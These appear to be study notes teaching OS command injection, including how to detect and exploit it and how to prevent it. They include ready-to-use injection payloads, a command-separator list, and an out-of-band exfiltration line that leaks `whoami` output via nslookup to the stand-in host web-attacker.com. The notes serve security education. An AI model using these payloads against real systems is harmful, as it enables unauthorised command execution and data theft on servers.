OS command injection

OS command injection is also known as shell injection. It allows an attacker to execute operating system (OS) commands on the server that is running an application, and typically fully compromise the application and its data.

Often, an attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure, and exploit trust relationships to pivot the attack to other systems within the organization.

Injecting OS commands

lets the user view whether an item is in stock in a particular store. This information is accessed via a URL:

```vbscript-html
https://insecure-website.com/stockStatus?productID=381&storeID=29
```

To provide the stock information, the application must query various legacy systems. For historical reasons, the functionality is implemented by calling out to a shell command with the product and store IDs as arguments.

```vbscript-html
stockreport.pl 381 29
```

This command outputs the stock status for the specified item, which is returned to the user, The application implements no defenses against OS command injection, so an attacker can submit the following input to execute an arbitrary command.

```vbscript-html
& echo aiwefwlguh &
```

If this input is submitted in the `productID` parameter, the command executed by the application is

```vbscript-html
stockreport.pl & echo aiwefwlguh & 29
```

```vbscript-html
Error - productID was not provided
aiwefwlguh
29: command not found
```

Useful commands

After you identify an OS command injection vulnerability, it's useful to execute some initial commands to obtain information about the system.

Purpose of command	Linux	Windows
Name of current user	`whoami`	`whoami`
Operating system	`uname -a`	`ver`
Network configuration	`ifconfig`	`ipconfig /all`
Network connections	`netstat -an`	`netstat -an`
Running processes	`ps -ef`	`tasklist`

Blind OS command injection vulnerabilities

Many instances of OS command injection are blind vulnerabilities. This means that the application does not return the output from the command within its HTTP response

Example :

imagine a website that lets users submit feedback about the site. The user enters their email address and feedback message. The server-side application then generates an email to a site administrator containing the feedback. To do this, it calls out to the `mail` program with the submitted details:

```
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.c
om
```

Detecting blind OS command injection using time delays

You can use an injected command to trigger a time delay, enabling you to confirm that the command was executed based on the time that the application takes to respond.

The `ping` command is a good way to do this, because lets you specify the number of ICMP packets to send. This enables you to control the time taken for the command to run

```vbscript-html
& ping -c 10 127.0.0.1 &
```

This command causes the application to ping its loopback network adapter for 10 seconds

1. Modify the `email` parameter, changing it to:

   `email=x||ping+-c+10+127.0.0.1||`

Exploiting blind OS command injection by redirecting output

You can redirect the output from the injected command into a file within the web root that you can then retrieve using the browser

Example :

if the application serves static resources from the filesystem location `/var/www/static`, then you can submit the following input

```vbscript-html
& whoami > /var/www/static/whoami.txt &
```

The `>` character sends the output from the `whoami` command to the specified file. You can then use the browser to fetch `https://vulnerable-website.com/whoami.txt` to retrieve the file, and view the output from the injected command.

Exploiting blind OS command injection using out-of-band (OAST) techniques

You can use an injected command that will trigger an out-of-band network interaction with a system that you control, using OAST techniques.

```vbscript-html
& nslookup kgji2ohoyw.web-attacker.com &
```

This payload uses the `nslookup` command to cause a DNS lookup for the specified domain.

The out-of-band channel provides an easy way to exfiltrate the output from injected commands

```vbscript-html
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
```

```vbscript-html
Output : wwwuser.kgji2ohoyw.web-attacker.com
```

Ways of injecting OS commands

A number of characters function as command separators, allowing commands to be chained together. The following command separators work on both Windows and Unix-based system

```vbscript-html
&
&&
|
||
```

The following command separators work only on Unix-based systems:

- `;`
- Newline (`0x0a` or `\n`)

On Unix-based systems, you can also use backticks or the dollar character to perform inline execution of an injected command within the original command

```vbscript-html
`Injected_Command`
$(Injected_Command)
```

Sometimes, the input that you control appears within quotation marks in the original command. In this situation, you need to terminate the quoted context (using `"` or `'`) before using suitable shell metacharacters to inject a new command.

How to prevent OS command injection attacks

The most effective way to prevent OS command injection vulnerabilities is to never call out to OS commands from application-layer code. In almost all cases, there are different ways to implement the required functionality using safer platform APIs.

- Validating that the input contains only alphanumeric characters, no other syntax or whitespace
- Validating that the input is a number
- Validating against a whitelist of permitted values